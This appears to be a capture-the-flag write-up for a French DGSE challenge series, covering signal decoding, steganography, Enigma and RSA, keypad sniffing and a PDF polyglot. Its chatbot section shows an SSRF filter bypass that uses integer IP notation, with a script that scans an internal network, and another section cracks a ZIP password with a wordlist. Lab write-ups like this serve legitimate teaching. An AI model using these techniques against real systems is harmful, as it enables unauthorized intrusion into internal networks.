signed -126 -> unsigned 130
signed -125 -> unsigned 131
signed -124 -> unsigned 132
signed -123 -> unsigned 133
signed -122 -> unsigned 134
signed -121 -> unsigned 135
signed -120 -> unsigned 136
signed -119 -> unsigned 137

As values from 120 to 127 are more frequent, theses bytes should represent the inactive state, and thus encoding a bit 1. So bytes from 128 to 135 should encode a bit 0.

The next step is to recover raising edges.

By studying the binary stream, raising edge sampling distance seems to be 638 or a multiple of 638. As one byte of the original data is transmitted using 1 + 8 + 1 + 1 = 11 bits, the original message can be retrieved thanks to the uart.pl Perl script, which read the stream and accumulates original bytes:

$ perl ./uart.pl < ascii_uart.raw
[...]
#742123: value=123 level=1 duration=032263       bit_count=0.000000 
#742124: value=124 level=1 duration=032264       bit_count=0.000000 
#742125: value=123 level=1 duration=032265       bit_count=0.000000 
#742126: value=123 level=1 duration=032266       bit_count=0.000000 
#742127: value=123 level=1 duration=032267       bit_count=0.000000 
#742128: value=123 level=1 duration=032268       bit_count=0.000000 
#742129: value=122 level=1 duration=032269       bit_count=0.000000 
#742130: value=123 level=1 duration=032270 front bit_count=50.579937 byte limit 0 10111110 0 1 /}/ /DGSESIEE{ d[-_-]b  \_(''/)_/  (^_-)   @}-;---    (*^_^*)  \o/ }/ 

Note: when processing the stream, losses of synchronization are fixed by detecting sequences that are too long without a start bit. Frames with parity errors are dropped.

Automatos (Stegano, 300 points)

The operational hint for the mission are:

Un de nos agents ne répond plus depuis quelques jours, nous avons reçu un mail avec une photo d'archives de Brigitte Friang. Cela ne peut pas être une coïncidence. Il a certainement cherché à cacher des informations dans l'image. Nous devons le secourir au plus vite, il est certainement en danger et sur écoute.

Le flag est juste une chaîne de caractères

brigitte.png (SHA256=31b88d96ff54ef15e6c995aac5a1759068ac8ba43d3cbdf561c7ea44ab42d735) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/brigitte.png 

The Python script mask.py extract all the RGB colors from the brigitte.png image, bits by bits, and produces new PNG files for each of them.

$ python3 ./mask.py 
[i] Processing bit 0
[i] Processing bit 1
[i] Processing bit 2
[i] Processing bit 3
[i] Processing bit 4
[i] Processing bit 5
[i] Processing bit 6
[i] Processing bit 7

When looking at the RGB layers of the picture, a tile appears distinctly for the red color:

Pixels with red color lowest bit set

Pixels with green color lowest bit set

Pixels with blue color lowest bit set

Some data seems to be encoded in this small 20×20 tile, located at (500, 200):

The Python script tile.py has been developed to analyze the pixels:

Some facts can be noted:

  • most pixels do not have lsb values set;
  • 19 pixels carry values inside their 5 lower bits (here in red, with mask 0x1f);
  • the first column and the last line are empty when considering the lsb values only.

The Python script can be refined to show the decimal value encoded for each red pixel:

This kind of representation may refer to a transition table of automatons.

Thus, the method to read the data is:

  • start at line 1, read 1, exit at column 9;
  • start at line 9, read 18, exit at column 11;
  • start at line 11, read 2, exit at column 14;
  • start at line 14, read 18, exit at column 3;
  • aso.

If 1 is the first letter of the alphabet, the content can be decoded with this Python code:

''.join([ chr(0x40 + x) for x in [1, 18, 2, 18, 5, 4, 5, 16, 15, 9, 4, 19, 13, 9, 14, 9, 13, 21, 13] ])
'ARBREDEPOIDSMINIMUM'

ChatBot (Web, 100 points)

The description for this challenge is this text:

EvilGouv a récemment ouvert un service de chat-bot, vous savez ces trucs que personne n'aime. Bon en plus d'être particulièrement nul, il doit forcément y avoir une faille. Trouvez un moyen d'accéder à l'intranet !

Lien : https://challengecybersec.fr/b34658e7f6221024f8d18a7f0d3497e4

Indice : Réseau local

Le flag est de la forme : DGSESIEE{x} avec x un hash 

This challenge asks to access the flag that is on the intranet network of the target. The entry point is the Chatbot application running in Javascript on the browser side.

The Chatbot being built in Javascript, the first step was to dive into the code to see what happens.

When you look at the Javascript you can find what are the requests done on the backend.

function askBot(message) {
    var url = window.location.href + "bot?message=" + message;
    fetch(url)
        .then(function (res) {
            res.json().then(function(data){
                var message = urlify(data.message)
                var urls = data.message.match(urlRegex);
                if (urls && urls.length > 0) {
                    var url = window.location.href + "proxy?url=" + urls[0];
                    fetch(url)
                        .then(function (res) {
                            console.log(res);
                            res.json()
                                .then(function (data) {
                                    if(data.err){
                                        addMessageContact(message,null);
                                    }
                                    else{
                                        addMessageContact(message,data);
                                    }
                                }).catch(function (err) {
                                    addMessageContact(message,null);
                                });
                        });
                } else {
                    addMessageContact(message,null);
                }
            });
        });
}

We can see that the Chatbot usually gets his response using the following endpoint:

GET bot?message=message

But we can also see that another endpoint is used when the message contains an URL:

GET proxy?url=url

The response received after querying this endpoint let us believe that the backend server will retrieve the content of the “url” specified:

$ curl -w "\n" https://challengecybersec.fr/b34658e7f6221024f8d18a7f0d3497e4/proxy?url=http://doihaveinternet.com/
{"contents":"<!DOCTYPE html>\n<html>\n  <head>\n    <meta charset=\"utf-8\">\n    <title>Do I Have Internet</title>\n    <style>\n      body{\n        font-family: sans-serif;\n        background-color: #000;\n        color:white;\n        display:flex;\n        align-items: center;\n        justify-content: center;\n        height:100vh;\n        padding:0;\n      }\n\n      #statusBox{\n        flex: auto;\n        width:75%;\n        text-align: center;\n        font-size: 5rem;\n      }\n\n      h2{\n        font-size:2rem;\n        font-weight:100;\n      }\n\n      a{\n        color:white;\n        background-color: black;\n        text-decoration: none;\n      }\n\n      a:hover{\n        color:black;\n        background-color: white;\n      }\n    </style>\n  </head>\n  <body>\n    <div id=\"statusBox\">\n      <h1 id=\"status\"/>\n      <h2>This incredibly useful service brought to you by <a href=\"http://shaungreiner.com\">Shaun&nbsp;Greiner</a>.</h2>\n    </div>\n      <script type=\"text/javascript\">\n      function updateStatus(){\n        var status;\n        status = navigator.onLine ? \"Yes.\" : \"No. :(\";\n        document.getElementById(\"status\").innerHTML=status;\n      }\n      updateStatus();\n      setInterval(updateStatus,1000);\n      </script>\n      <script>\n        (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){\n        (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),\n        m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)\n        })(window,document,'script','//www.google-analytics.com/analytics.js','ga');\n        ga('create', 'UA-12905503-1', 'auto');\n        ga('send', 'pageview');\n    </script>\n  </body>\n</html>\n","title":"Do I Have Internet","icon":"Null"}

We can see that the endpoint returns the HTML content of the url specified. From here we can guess that we should be able to query the local network of the backend server.

We first try to access the common local IP address: 192.168.0.1.

$ curl -w "\n" https://challengecybersec.fr/b34658e7f6221024f8d18a7f0d3497e4/proxy?url=http://192.168.0.1/
Forbidden

The response indicates that we do not have authorization to access this resource, meaning that we actually did a request on the local network or that we have been logically blocked of doing it.

The next step is to try to bypass the logical block if there is one. Our guess is that a regex matching is used to filter requests made on the local network.

To bypass it we decide to use the integer representation on an IP address to send the request:

ip = (192 << 24) + (168 << 16) + 1
print(ip)
3232235521
$ curl -w "\n" https://challengecybersec.fr/b34658e7f6221024f8d18a7f0d3497e4/proxy?url=http://3232235521/
Not Found

We see that the access is not restricted anymore but the IP used still does not give a positive result.

A bruteforce could be used on all the IPs of the range to try to find one with a different result.

But before executing a bruteforce on a full /16 IP range we try to narrow down the range. After some tests we believe that only the 192.168.0.0/24 range constitutes the internal network because requests on the other subnetworks return a 504 Gateway Time-out error:

ip = (192 << 24) + (168 << 16) + (1 << 8) + 1
>>>print(ip)
3232235846
$ curl -w "\n" https://challengecybersec.fr/b34658e7f6221024f8d18a7f0d3497e4/proxy?url=http://3232235846/
<html>
<head><title>504 Gateway Time-out</title></head>
<body>
<center><h1>504 Gateway Time-out</h1></center>
<hr><center>nginx/1.15.12</center>
</body>
</html>

A /24 range containing only 254 IPs, we proceed to the bruteforce:

from requests import get
from time import time

for i in range(254):
    ip = (192 << 24) + (168 << 16) + i
    start = time()
    r = get("https://challengecybersec.fr/b34658e7f6221024f8d18a7f0d3497e4/proxy?url=http://" + str(ip) + "/")
    end = time()
    print(i, end - start, r.status_code, r.text)

This Python script allows us to find the flag located on the integer representation of the IP 192.168.0.70:

$ curl -w "\n" https://challengecybersec.fr/b34658e7f6221024f8d18a7f0d3497e4/proxy?url=http://3232235590/
{"contents":"<!DOCTYPE html>\n<html>\n\n<head>\n  <meta charset=\"utf-8\">\n  <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n  <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, shrink-to-fit=no\">\n  <link href=\"/35e334a1ef338faf064da9eb5f861d3c/fontawesome/css/all.min.css\" rel=\"stylesheet\">\n  <link href=\"/35e334a1ef338faf064da9eb5f861d3c/bootstrap/css/bootstrap.min.css\" rel=\"stylesheet\">\n  <link href=\"/35e334a1ef338faf064da9eb5f861d3c/css/style_index.css\" rel=\"stylesheet\">\n  <link rel=\"icon\" href=\"/35e334a1ef338faf064da9eb5f861d3c/img/favicon.ico\" />\n  <title>Evil Gouv intranet</title>\n</head>\n\n<body>\n  <div>\n    <h1>FLAG DGSESIEE{2cf1655ac88a52d3fe96cb60c371a838}</h1>\n</div>\n</body>\n<script src=\"/35e334a1ef338faf064da9eb5f861d3c/js/jquery-3.5.1.min.js\"></script>\n<script src=\"/35e334a1ef338faf064da9eb5f861d3c/js/popper.min.js\"></script>\n<script src=\"/35e334a1ef338faf064da9eb5f861d3c/js/bootstrap.min.js\"></script>\n\n</html>","title":"Evil Gouv intranet","icon":"Null"}

Définition (Misc, 50 points)

The description of the challenge is the following one :

Un de vos collègues a créé un petite énigme, il est un peu lourd et vous demande depuis des semaines de la résoudre, faites lui plaisir. Voici l'énigme : Quelle heure est-t-il ?

Connectez-vous via nc challengecybersec.fr 6660

Le flag est de la forme : DGSESIEE{x} avec x un hash 

Unix time is the number of seconds that have elapsed since the Unix epoch; the Unix epoch is 00:00:00 UTC on 1 January 1970.

The manual page for the date command states that the %s format provides such a number. The current quantity of seconds can be sent to the server with this kind of commands:

$ date +%s | nc challengecybersec.fr 6660
Entrez la reponse :
 > Bravo ! Voici le flag : DGSESIEE{cb3b3481e492ccc4db7374274d23c659}

Evil Cipher (Hardware, 400 points)

The background of the mission is:

Evil Country a développé et implémenté sur FPGA son propre algorithme de chiffrement par blocs de 45 bits avec une clé de 64 bits. cipher.txt est un message chiffré avec la clé key=0x4447534553494545. Un agent a réussi à récupérer
- le code VHDL de l'algorithme (evil_cipher.vhd)
- la fin du package VHDL utilisé (extrait_galois_field.vhd)
- le schéma de la fonction permutation15 (permutation15.jpg)
- le schéma du composant key_expansion (key_expansion.jpg)

Un exemple de texte chiffré se trouve dans le fichier evil_example.txt (dans l'archive zip)

Déchiffrez le message.

Le flag est de la forme DGSESIEE{x} avec x un hash

evil_cipher.zip (SHA256=0b8ade55e61e2e0188cea2a3c004287ca16b9b1ee2951fa4ffe1b27963544434) : https://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/evil_cipher.zip

The ZIP file contains:

  • some pieces of VHDL: the encryption process and the code for permutations with 45 bits and for an encryption round;
  • the description of the key expansion and permutation with 15 bits, as pictures;
  • one sample with plain text and its encryption;
  • the content to decrypt.

From the sample, data appear to be translated byte by byte before being encrypted. For instance:

01000100 01000111 01010011 01000101 01010011 01001001 01000101 01000101 01111011
 44 = D   47 = G   53 = S   45 = E   53 = S   49 = I   45 = E   45 = E   7b = { 

Some online resources help to understand VHDL if needed:

The key point is that variables and signals are different: a new value assignment is immediate for variables, but it is taken into account only at the end of a process for signals.

Translating the permutation process into Python code is quite straightforward:

Translating the key expansion needs some help from GIMP, but is not so complicated:

If the load signal is on, the key is loaded and stored into reg. Otherwise, the new reg value is computed from the previous state, with three XOR operations to define bits 9, 34 and 61.

rkey is built from the 45 lowest bits of reg.

The remaining VHDL is rather readable.

Once an encryption routine is setup and validated by the provided sample, it can be noticed that the second line of the final content to decrypt starts with DGSESIEE in its encrypted form.

As reverting the whole encryption process is hard due to the multiple XOR operations inside the round operation, a bruteforce with the [a-f0-9] charset was chosen to solve the problem:

In bruteforce we trust!

With the evil-vhdl-boost.py Python script, the flag can thus get recovered 45-bit block by 45-bit block.

A Python module has also been developed to increase the cracking speed. It can be compiled and used by running:

$ export PYTHONPATH=$PWD/evilnative
$ make -C evilnative

Keypad Sniffer (Hardware, 150 points)

The mission is introduced by the following text:

Le code d'accès d'un centre militaire de télécommunications est saisi sur un clavier. Un agent a accédé au matériel (Cf. photos face avant et face arrière du clavier) et a inséré un dispositif pour enregister les données binaires qui transitent sur le connecteur du clavier. Le fichier joint (keypad_sniffer.txt) comprend les données binaires (échantillonnées à une fréquence de 15 kHz) au moment où une personne autorisée rentrait le code d'accès. Retrouvez le code d'accès.

Le flag est de la forme DGSESIEE{X} où X est le code saisi

keypad_sniffer.txt (SHA256=f5660a0b1c8877b67d7e5ce85087138cbd0c061b0b244afc516c489b39a7f79d) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/keypad_sniffer.txt
keypad_face.jpg (SHA256=b39c0d732f645fc73f41f0955233bec3593008334a8796d2f1208346f927fef2) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/keypad_face.jpg
keypad_back.jpg (SHA256=1f5d41c3521d04494779e43a4d5fae7cb14aad44e6e99cf36642ff4e88fab69f) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/keypad_back.jpg

Google with its reverse image search feature suggests “digicode arduino” as search object. This leads to a Wiki page explaining how to deal with keypads:

To detect a key press, all columns are scanned, one by one; if a line is at the same state that a scanned column, that means there is a connection and the corresponding key is pressed!

The first step is to recover the links between the keypad and the processing unit:

Some analysis is required to retrieve the bit order:

$ < keypad_sniffer.txt sed 's/^\(.\).*$/\1/' | sort | uniq
1
$ < keypad_sniffer.txt sed 's/^.*\(.\)$/\1/' | sort | uniq
0
1

As the first figure is always constant and the last one is not, the twelfth link on the printed circuit board is depicted by this first figure and bits have to by read from right (link 1) to left (link 12).

Extra tests show that pins 12-6 and 11-5 are indeed connected:

$ < keypad_sniffer.txt sed 's/^\(.\).....\(.\).....$/\1-\2/' | sort | uniq
1-1
$ < keypad_sniffer.txt sed 's/^.\(.\).....\(.\)....$/\1-\2/' | sort | uniq
0-0

By observing the first entries, a pattern becomes visible at the right side:

$ < keypad_sniffer.txt uniq | head -10
101111100111   # 0111
101111101011   # 1011
101111101101   # 1101
101111101110   # 1110
101111100111   # 0111
101111101011   # 1011
101111101101   # 1101
101111101110   # 1110
101111100111   # 0111
101111101011   # 1011

There is an iteration on the bits 1-4, where bits are put at low state, one at a time.

This should be a column scan. Bits 7-10 are at high state, meaning none of them meet the state of the scanned column. So no key seems to be pressed.

When analysis the data, some care must be respected, as the sampling frequency may not match the board frequency:

  • some column iterations may get skipped;
  • line state switchs can happen at any time while a column is scanned.

The Python script keypad-code.py finally parses the hardware events:

$ python3 ./keypad-code.py 
[*] States for #0: 0, 1
[*] States for #1: 0, 1
[*] States for #2: 0, 1
[*] States for #3: 0, 1
[*] States for #4: 0
[*] States for #5: 1
[*] States for #6: 0, 1
[*] States for #7: 0, 1
[*] States for #8: 0, 1
[*] States for #9: 0, 1
[*] States for #10: 0
[*] States for #11: 1
[i] All ground links are consistent.
[i] Link 5-11: always 0
[i] Link 6-12: always 1
[i] Filtered 615535 samples
[!] Missed samples for column 0 @ 23324: "1110  1111  "
[!] Missed samples for column 1 @ 23324: "1110  1111  "
[!] Missed samples for column 2 @ 23324: "1110  1111  "
[!] Missed samples for column 0 @ 31129: "1110  1110  "
[!] Missed samples for column 1 @ 31129: "1110  1110  "
[!] Missed samples for column 2 @ 31129: "1110  1110  "
[!] Missed samples for column 1 @ 71187: "0111  1111  "
[!] Missed samples for column 2 @ 71187: "0111  1111  "
[!] Missed samples for column 3 @ 71187: "0111  1111  "
[i] Added 9 new samples
[i] Skipped 93456 samples with or without key pressed
[i] Retrieved code: AE78F55C666B23011924
[>] Flag is DGSESIEE{AE78F55C666B23011924}

L'énigme de la crypte (Crypto, 200 points)

The instructions for the mission are:

Une livraison de souffre doit avoir lieu 47°N 34 2°W 1 39.

Elle sera effectuée par un certain REJEWSKI. Il a reçu des instructions sur un foulard pour signaler à Evil Gouv son arrivée imminente.

Nous avons une photo du foulard, mais celle-ci n'est pas très nette et nous n'avons pas pu lire toutes les informations. Le fichier foulard.txt, est la retranscription du foulard.

Nous avons un peu avancé sur les parties illisibles :

(texte illisible 1) est deux lettres un espace deux lettres. Il pourrait y avoir un lien avec le dernier code d'accès que vous avez envoyé à Antoine Rossignol.

(texte illisible 2) a été totalement effacé et enfin (texte illisible 3) semble être deux lettres.

REJEWSKI vient d'envoyer un message (final.txt). Il faut que vous arriviez à le déchiffrer. Je vous conseille d'utiliser openssl pour RSA.

Le flag est de la forme DGSESIEE{MESSAGE} où MESSAGE correspond à la partie centrale du texte en majuscules sans espace.

final.txt (SHA256=1e93526cd819aedb8496430a800a610068e95762536b0366ca7c303a74eaab03) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/final.txt
foulard.txt (SHA256=9c8b0caf9d72fa68ddb6b4a68e860ee594683f7fe4a01a821914539ef81a1f21) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/foulard.txt 

The goal is thus to retrieve a file encrypted with an Enigma M3 machine at first, then with RSA.

RSA decryption

Modulus and public exponent are provided in the foulard.txt file.

Modulus (décimal):

25195908475657893494027183240048398571429282126204032027777137836043662020707595556264018525880784406918290641249515082189298559149176184502808489120072844992687392807287776735971418347270261896375014971824691165077613379859095700097330459748808428401797429100642458691817195118746121515172654632282216870038352484922422622979684865170307405907272815653581732377164114195025335694039872221524699156538352092782201392513118326772302632498764753996118057437198905106508696675497143847180616766425109043955104189270381382844602871223783458512671511503420521749067165952916834014926827585314522687939452292676577212513301

PublicExponent (décimal) : 65537

To sum up:

  • the modulus n is the product of two prime numbers p and q such as n = pq and defines with the exponent the public key (n, e);
  • it is possible to find the private key by factorizing this n (ie. finding p and q), and thus decrypting the messages encrypted with the relative public key.

A quick analysis allows to state the a 2048-bit key is involved; such a key is hard to crack:

from math import log
>>> log(N) / log(2)
2047.6408959263592

However, it is possible to factorize a prime number if the p and q integers were wrongly choosen. Let’s try a factorization with an Integer factorization calculator found thanks to Google:

25195 908475 657893 494027 183240 048398 571429 282126 204032 027777 137836 043662 020707 595556 264018 525880 784406 918290 641249 515082 189298 559149 176184 502808 489120 072844 992687 392807 287776 735971 418347 270261 896375 014971 824691 165077 613379 859095 700097 330459 748808 428401 797429 100642 458691 817195 118746 121515 172654 632282 216870 038352 484922 422622 979684 865170 307405 907272 815653 581732 377164 114195 025335 694039 872221 524699 156538 352092 782201 392513 118326 772302 632498 764753 996118 057437 198905 106508 696675 497143 847180 616766 425109 043955 104189 270381 382844 602871 223783 458512 671511 503420 521749 067165 952916 834014 926827 585314 522687 939452 292676 577212 513301 (617 digits) = 158 732191 050391 204174 482508 661063 007579 358463 444809 715795 726627 753579 970080 749948 404278 643259 568101 132671 402056 190021 464753 419480 472816 840646 168575 222628 922072 509317 288610 921313 165983 511118 710663 006195 067967 359930 650798 771955 898733 591259 847660 546621 410836 961591 033768 576235 120772 719980 885978 288100 259351 535587 (309 digits) × 158 732191 050391 204174 482508 661063 007579 358463 444809 715795 726627 753579 970080 749948 404278 643259 568101 132671 402056 190021 464753 419480 472816 840646 168575 222628 947270 302161 138343 957754 574996 070959 235670 661942 404500 680792 678841 762019 555105 315453 800615 468142 560756 025651 432301 649463 625322 248315 792212 286183 936318 080423 (309 digits)

So:

p = 158732191050391204174482508661063007579358463444809715795726627753579970080749948404278643259568101132671402056190021464753419480472816840646168575222628922072509317288610921313165983511118710663006195067967359930650798771955898733591259847660546621410836961591033768576235120772719980885978288100259351535587
q = 158732191050391204174482508661063007579358463444809715795726627753579970080749948404278643259568101132671402056190021464753419480472816840646168575222628947270302161138343957754574996070959235670661942404500680792678841762019555105315453800615468142560756025651432301649463625322248315792212286183936318080423

The private key can now be recovered with the rsatool.py tool available on Github:

$ git clone https://github.com/ius/rsatool
$ sudo apt install gmp-dev
$ pip install gmpy
$ cd rsatool
$ python rsatool.py -f PEM -o priv.key -p 158732191050391204174482508661063007579358463444809715795726627753579970080749948404278643259568101132671402056190021464753419480472816840646168575222628922072509317288610921313165983511118710663006195067967359930650798771955898733591259847660546621410836961591033768576235120772719980885978288100259351535587 -q 158732191050391204174482508661063007579358463444809715795726627753579970080749948404278643259568101132671402056190021464753419480472816840646168575222628947270302161138343957754574996070959235670661942404500680792678841762019555105315453800615468142560756025651432301649463625322248315792212286183936318080423

The message can be decrypted with the rebuilt private key:

$ openssl rsautl -decrypt -inkey priv.key -in final.txt -out final.txt.dec
$ cat final.txt.dec
IVQDQT NHABMPSVBYYUCJIYMJBRDWXAXP THYVCROD

Enigma decryption

The protocol used by the Nazis was the following one:

  1. selection of the machine parameters according to a code table providing, for each day of the month, the used rotors, the initial position, the rings position, the plugboard configuration and the Kenngruppen. The Kenngruppen was an unique identifier, pseudo-random, allowing the message receiver to find the table line relative to the encrypted message, and thus to date the message emission and the machine parameters.
  2. message key encryption, which was similar to a session key, corresponding to the rotors initial position pour the remaining message. The key has to be composed of three letters, as the M3 machine can only use three rotors at once. According to an online resource, Rejewski would have analyzed encrypted text, knowing that there was a link between the first and the forth letters, the second and the fifth ones and between the third and the sixth ones. The secret key should then be duplicated in the final encrypted content.
  3. machine reconfiguration : message key usage as the new rotors initial position.
  4. message encryption.
  5. emission of the Kenngruppen sequence as plain text, then the encrypted message key and the encrypted message.

The Kenngruppen part is not interesting because it is letters linked to a code table not available. The IVQDQT NHABMPSVBYYUCJIYMJBRDWXAXP THYVCROD content should be the duplicated message key, followed by the encrypted message and the recipient name.

Based on the foulard.txt document, the machine should be configured with:

  • rotors, only odd, in ascending order: (I III V) or (I III VII) or (I III VII) or (I V VII);
  • rotors position: MER;
  • rings position: REJ;
  • plugboard, according to the first crypto challenge « b a:e z »: (BA EZ) or (BE AZ) or (BZ AE).

Let’s try the (I III V, MER, REJ, BA EZ) configuration:

The decrypted message starts with a duplicated sequence of three characters ZFGZFG, as expected.

By testing several cases, the following results appear:

BA EZ => zfgzf gcmfq jlfjd tmorq gnfba qmucz qyrys noour
BE AZ => bfgbf gcmve jlfjg tmorq gnfzn qmucp qyrys noour
BZ AE => afgaf gcmcx jlfjv tmorq gnfeg qmucz qyrys noour

It is possible that the unreadable texts 2 and 3 are related to a hint of the message key, which would start with the B letter (and thus the (BE AZ) plugboard configuration).

However there should be no reason in a real situation to state to message key, as the recipient would only have to decrypt the first three letters to get this key. So it is either a specific hint for this challenge, or an information not related to the message key, and thus which can be discarded.

Once the machine reconfigured with the new rotors position BFG and the first six letters of the encrypted message deleted, we get:

NHABMPSVBYYUCJIYMJBRDWXAXP THYVCROD => lessa nglot slong sdesv iolon swjvd loit

The flag is the middle part of the text in the original encrypted message NHABMPSVBYYUCJIYMJBRDWXAXP: LESSANGLOTSLONGSDESVIOLONS.

The last 8 characters should belong to the transmitter name REJEWSKI; this name can be retrieved by reinitializing the rotors position with the message key BFG:

THYVCROD => rejew ski

Le discret Napier (Crypto, 150 points)

The current situation is:

Stockos a encore choisi un code d'accès qui est solution d'une énigme mathématique ! Retrouvez x tel que : 17^x ≡ 183512102249711162422426526694763570228 [207419578609033051199924683129295125643]

Le flag est de la forme : DGSESIEE{x} avec x la solution 

This was a straightforward Discrete Logarithm Problem.

While there is some complicated math going on behind the actual solving of the equation, some tools like sage or Magma are already equipped with all the necessary stuff to compute the result.

We decided to give a try to an online Magma calculator. Simply plug in the values and it will spit the result back out:

p := 207419578609033051199924683129295125643;
K := GF(p);
n := K ! 183512102249711162422426526694763570228;
y := K ! 17;
x := Log(y, n);
x;

And the solution is: 697873717765.

Le Polyglotte (Stegano, 150 points)

The operational context for this challenge is:

 Nous avons intercepté un fichier top secret émanant d'Evil Country, il est très certainement en rapport avec leur programme nucléaire. Personne n'arrive à lire son contenu.

Pouvez-vous le faire pour nous ? Une archive était dans le même dossier, elle peut vous servir

Le flag est de la forme : DGSESIEE{x} avec x un hash que vous trouverez

message.pdf (SHA256=e5aa5c189d3f3397965238fbef5bc02c889de6d5eac713630e87377a5683967c) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/message.pdf
secrets.zip (SHA256=ae5877bb06ac9af5ad92c8cd40cd15785cbc7377c629ed8ec7443f251eeca91f) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/secrets.zip 

We were given two files:

  • message.pdf : when we opened it, there were no interesting information at first sight.

  • secrets.zip : when we tried to unzip it, it asked “hint.png” password. Hint.png was a file we didn’t know of.

Analysis of message.pdf

Since there was no valuable information at first sight, we tried a different approach. Using Dider Stevens’ tool called pdf-parser, we parsed the file to display the objects it contained:

  • HTML code:
<html>
    <!DOCTYPE html>
    <html>
    <head>
        <title>Flag</title>
        <meta charset="utf-8">
    </head>

    <body>
        <script>
            var flag = [91, 48, 93, 97, 97, 57, 51, 56, 97, 49, 54];
        </script>
        <!----!>
        <script>for(i=0;i<flag.length;i++){flag[i] = flag[i]+4} alert(String.fromCharCode.apply(String, flag));</script>
    <body>
</html>

There is some Javascript here that makes a popup appear with “_4aee=7<e5:” written on it.

  • Stream objects
7 0 obj
<< /Length 50 >>
stream
BT
/F1 50 Tf
10 400 Td
0 0 0 rg
<5b 31 5d 34 64 38 36 32 64 35 61> Tj
ET
endstream
endobj

8 0 obj
<< /Length 50 >>
stream
BT
/F1 70 Tf
150 700 Td
255 255 255 rg
(Top Secret) Tj
ET
endstream
endobj

9 0 obj
<< /Length 50 /MediaBox [0 0 20 20]
>>
stream
BT
/F1 9 Tf
30 600 Td
1 0 0 700 0 0 Tm
0 0 0 rg
<43 65 20 64 6f 63 75 6d 65 6e 74 20 63 6f 6e 63 65 72 6e 65 20 6c 20 6f 70 65 72 61 74 69 6f 6e 20 73 6f 6c 65 69 6c 20 61 74 6f 6d 69 71 75 65 2e 0a 43 65 74 74 65 20 6f 70 65 72 61 74 69 6f 6e 20 65 73 74 20 73 74 72 69 63 74 65 6d 65 6e 74 20 63 6f 6e 66 69 64 65 6e 74 69 65 6c 6c 65 20 65 74 20 6e 65 20 64 6f 69 74 20 65 6e 20 61 75 63 75 6e 20 63 61 73 20 ea 74 72 65 20 64 65 76 6f 69 6c 65 65 2e 20 0a 4c 65 73 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 73 20 73 75 72 20 6c 20 6f 70 65 72 61 74 69 6f 6e 20 73 6f 6e 74 20 64 69 73 73 65 6d 69 6e e9 65 73 20 64 61 6e 73 20 63 65 20 66 69 63 68 69 65 72 2e 0a 43 68 61 71 75 65 20 70 61 72 74 69 65 20 64 65 20 6c 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 65 73 74 20 69 64 65 6e 74 69 66 69 65 65 20 70 61 72 20 75 6e 20 6e 6f 6d 62 72 65 20 70 61 72 20 65 78 20 3a 20 0a 5b 30 5d 61 65 37 62 63 61 38 65 20 63 6f 72 72 65 73 70 6f 6e 64 20 61 20 6c 61 20 70 72 65 6d 69 e8 72 65 20 70 61 72 74 69 65 20 64 65 20 6c 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 71 75 20 69 6c 20 66 61 75 74 20 63 6f 6e 63 61 74 65 6e 65 72 20 61 75 20 72 65 73 74 65 2e> Tj
ET
endstream
endobj

11 0 obj
<< /Length 50 >>
stream
BT
/F1 70 Tf
150 700 Td
255 255 255 rg
(Top Secret) Tj
ET
endstream
endobj

We decoded the bytes contained between “<” and “>” in each object:

  • [1]4d862d5a
  • (Top Secret)
  • Ce document concerne l operation soleil atomique.
    Cette operation est strictement confidentielle et ne doit en aucun cas être devoilee. Les informations sur l operation sont disseminées dans ce fichier. Chaque partie de l information est identifiee par un nombre par ex : [0]ae7bca8e correspond a la première partie de l information qu il faut concatener au reste.

According to what is written in the last portion, the “[1]…” is something we need to keep for later use.

Analysis of secret.zip

Using a ZIP cracking tool called fcrackzip, we found the password of the archive:

$ fcrackzip -D -p ./crackstation-human-only.txt -v -u secrets.zip
found file 'hint.png', (size cp/uc 137659/137622, flags 9, chk 76d4)
found file 'info.txt', (size cp/uc    109/   107, flags 9, chk 9748)
checking pw fate3147

PASSWORD FOUND!!!!: pw == finenuke

Using this password to unzip secrets.zip, we got two files again:

  • hint.png: this is a blowfish, which made us think about the eponymous symmetric-key bloc cipher.

  • infos.txt:
Ange Albertini
key='\xce]`^+5w#\x96\xbbsa\x14\xa7\x0ei'
iv='\xc4\xa7\x1e\xa6\xc7\xe0\xfc\x82'
[3]4037402d4

Ange Albertini is well know for his technique to embed a file into another one using block-cipher encryption. We also got a key and an IV, which could be useful in a cipher like Blowfish. Finally, we have [3]4037402d4.

Using these hints, we encrypted our original PDF message.pdf using Blowfish, in hope of getting a new file. Here is the small Python code we made:

from Crypto.Cipher import Blowfish

key = b'\xce]`^+5w#\x96\xbbsa\x14\xa7\x0ei'
iv = b'\xc4\xa7\x1e\xa6\xc7\xe0\xfc\x82'

algo = Blowfish.new(key, Blowfish.MODE_CBC, iv)

with open('message.pdf', 'rb') as f:
  d = f.read()

d = algo.encrypt(d)

with open('dec.bin', 'wb') as f:
  f.write(d)

And here is the result of binwalk on this new-found file:

$ binwalk -e dec.bin

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
72613         0x11BA5         ELF, 64-bit LSB shared object, AMD x86-64, version 1 (SYSV)

There was actually an ELF embedded in the PDF! We used IDA decompiler to look up its content and found this:

checkpassword(puVar2);
   if ((puVar2[1] ^ *puVar2) == 0x69) {
      if ((puVar2[2] ^ puVar2[1]) == 0x6f) {
         if ((puVar2[3] ^ puVar2[2]) == 0x38) {
            if ((puVar2[4] ^ puVar2[3]) == 0x56) {
